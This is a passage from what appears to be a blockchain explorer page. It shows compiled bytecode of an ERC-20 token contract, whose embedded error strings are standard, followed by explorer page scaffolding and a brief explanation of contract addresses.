8151905061246781611ec9565b92915050565b5f6020828403121561248257612481611e95565b5b5f61248f84828501612459565b91505092915050565b5f6040820190506124ab5f8301856120d4565b6124b860208301846120d4565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6124f682611ef3565b915061250183611ef3565b925082612511576125106124bf565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f61254861254361253e8461251c565b612525565b611ef3565b9050919050565b6125588161252e565b82525050565b5f60c0820190506125715f8301896120d4565b61257e6020830188611f97565b61258b604083018761254f565b612598606083018661254f565b6125a560808301856120d4565b6125b260a0830184611f97565b979650505050505050565b5f815190506125cb81611efc565b92915050565b5f805f606084860312156125e8576125e7611e95565b5b5f6125f5868287016125bd565b9350506020612606868287016125bd565b9250506040612617868287016125bd565b9150509250925092565b5f6040820190506126345f8301856120d4565b6126416020830184611f97565b9392505050565b61265181611f64565b811461265b575f80fd5b50565b5f8151905061266c81612648565b92915050565b5f6020828403121561268757612686611e95565b5b5f6126948482850161265e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6126f7602483611e0f565b91506127028261269d565b604082019050919050565b5f6020820190508181035f830152612724816126eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612785602283611e0f565b91506127908261272b565b604082019050919050565b5f6020820190508181035f8301526127b281612779565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612813602583611e0f565b915061281e826127b9565b604082019050919050565b5f6020820190508181035f83015261284081612807565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6128a1602383611e0f565b91506128ac82612847565b604082019050919050565b5f6020820190508181035f8301526128ce81612895565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61292f602983611e0f565b915061293a826128d5565b604082019050919050565b5f6020820190508181035f83015261295c81612923565b9050919050565b5f61296d82611ef3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361299f5761299e61213a565b5b600182019050919050565b5f6129b482611ef3565b91506129bf83611ef3565b92508282039050818111156129d7576129d661213a565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a37602183611e0f565b9150612a42826129dd565b604082019050919050565b5f6020820190508181035f830152612a6481612a2b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612af781611eb8565b82525050565b5f612b088383612aee565b60208301905092915050565b5f602082019050919050565b5f612b2a82612ac5565b612b348185612acf565b9350612b3f83612adf565b805f5b83811015612b6f578151612b568882612afd565b9750612b6183612b14565b925050600181019050612b42565b5085935050505092915050565b5f60a082019050612b8f5f830188611f97565b612b9c602083018761254f565b8181036040830152612bae8186612b20565b9050612bbd60608301856120d4565b612bca6080830184611f97565b9695505050505050565b5f612bde82611ef3565b9150612be983611ef3565b9250828201905080821115612c0157612c0061213a565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612c3b601b83611e0f565b9150612c4682612c07565b602082019050919050565b5f6020820190508181035f830152612c6881612c2f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c872f9bb6bf3dc700d78dcf08ef0651d7cdcf8d8b4e8aa42046d6d138900eb364736f6c634300081a0033

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.